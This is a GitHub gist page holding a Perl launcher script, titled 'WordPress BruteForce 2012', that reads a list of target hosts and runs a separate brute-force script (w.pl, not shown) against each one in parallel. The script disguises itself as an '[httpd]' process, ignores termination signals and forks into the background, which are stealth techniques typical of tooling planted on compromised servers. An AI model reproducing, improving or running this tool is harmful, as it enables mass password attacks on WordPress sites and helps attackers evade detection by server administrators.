Skip to content

Instantly share code, notes, and snippets.

@MinhKMA
Created August 14, 2019 14:51
Show Gist options
  • Select an option

  • Save MinhKMA/d625aed88de294707c9603605a5349c3 to your computer and use it in GitHub Desktop.

Select an option

Save MinhKMA/d625aed88de294707c9603605a5349c3 to your computer and use it in GitHub Desktop.
use Getopt::Long;
use constant ('TRUE', 1);
use constant ('FALSE', 0);
use constant ('WPBRUTER_FILENAME', 'w.pl');
use constant ('WPBRUTER_PROCNAME', 'apache2');
use constant ('MY_PROCNAME', '[httpd]');
use constant ('LOG_FILENAME', 'status.log');
my $cCommand = 'ps aux | grep apache2 | wc -l';
my $nThreads = 50;
my $Verbose = 0;
my $showHelp = 0;
$SIG{'INT'} = 'IGNORE';
$SIG{'HUP'} = 'IGNORE';
$SIG{'TERM'} = 'IGNORE';
$SIG{'CHLD'} = 'IGNORE';
$SIG{'PS'} = 'IGNORE';
$0 = '[httpd]' . "\000" x 16;
my $pid = fork;
exit() if $pid;
die "Problema ao criar fork: $!" unless defined $pid;
sub fErrorMsg () {
print '[-] Error: ' . $_[0] . "\n";
exit;
}
sub showHelp () {
print "****************************************************************************\n";
print "* *\n";
print "* WordPress BruteForce *\n";
print "* 2012 *\n";
print "* *\n";
print "****************************************************************************\n";
print "\n";
print " ..:: USAGE ::.. \n";
print " $0 -i <InputFile> -o <OutputFile>\n";
print "\n";
print " ..:: OPTIONS ::.. \n";
print "\n";
print " -v Verbose (default: no))\n";
print " -t Threads (default: 10)\n";
print "\n";
print "\n";
print "****************************************************************************\n";
exit 0;
}
sub UpdateLogFile () {
$data = $_[0];
open O, '>status.log';
print O "$data";
close O;
}
GetOptions 'i=s', \$InputFile, 'o=s', \$OutputFile, 'g=i', \$GoToLine, 't=i', \$nThreads, 'v!', \$Verbose, 'h!', \$showHelp;
unless (defined $InputFile) {
&fErrorMsg('You need to set the output file with -i option');
}
unless (defined $OutputFile) {
&fErrorMsg('You need to set the output file with -o option');
}
&showHelp() if $showHelp;
open iFILE, "<$InputFile";
if (defined $GoToLine) {
while (defined($_ = <iFILE>)) {
if ($. == $GoToLine) {
last;
}
}
}
while (defined($_ = <iFILE>)) {
chomp($host = $_);
chomp($p = `$cCommand` - 2);
print "[+] Started ($p/$nThreads) : $host\n" if $Verbose;
while ($p >= $nThreads) {
sleep 1;
chomp($p = `$cCommand` - 2);
}
&UpdateLogFile("$. scanned hosts");
$cmdline = 'perl w.pl' . " -h $host -o $OutputFile -l $. ";
$cmdline = $cmdline . '-v' if $Verbose;
system $cmdline;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment